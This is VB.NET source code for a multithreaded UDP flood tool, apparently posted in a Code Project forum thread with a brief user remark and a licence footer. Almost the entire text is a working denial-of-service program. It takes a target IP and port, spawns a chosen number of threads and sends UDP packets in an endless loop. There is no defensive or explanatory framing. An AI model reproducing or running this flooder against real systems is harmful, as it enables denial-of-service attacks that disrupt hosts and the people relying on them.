Imports System.Net.Sockets Imports System.IO Imports System.Text Imports System.Threading Public Class Form1 Dim List As New List(Of Threading.Thread) Private Sub TrackBar1_Scroll(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TrackBar1.Scroll Label3.Text = "Number Of Threads : " & TrackBar1.Value End Sub Sub UDP() Try Dim GLOIP As IPAddress 'Target Dim bytCommand As Byte() = New Byte() {} GLOIP = IPAddress.Parse(TextBox1.Text) ' Textbox1.Text= IP/Target bytCommand = Encoding.ASCII.GetBytes("$$$$$$$$$$$$$$$") 'Message in byte Do Dim udpClient As New UdpClient 'Protocol udpClient.Connect(GLOIP, TextBox2.Text) 'Connect to Target (Textbox2.text=Port) udpClient.Send(bytCommand, bytCommand.Length) 'Send Message udpClient.Close() Label8.Text += 1 'Label8.text= Connections Loop Catch ex As Exception Label7.Text += 1 End Try End Sub Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click List.Clear() For i = 0 To TrackBar1.Value - 1 Dim UDPFlood As New Threading.Thread(AddressOf UDP) UDPFlood.Start() List.Add(UDPFlood) Next End Sub Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Control.CheckForIllegalCrossThreadCalls = False End Sub Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click For i = 0 To List.Count - 1 List(i).Abort() Next End Sub End Class
Quote:heres the code it has no brackets or nothing
var
This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)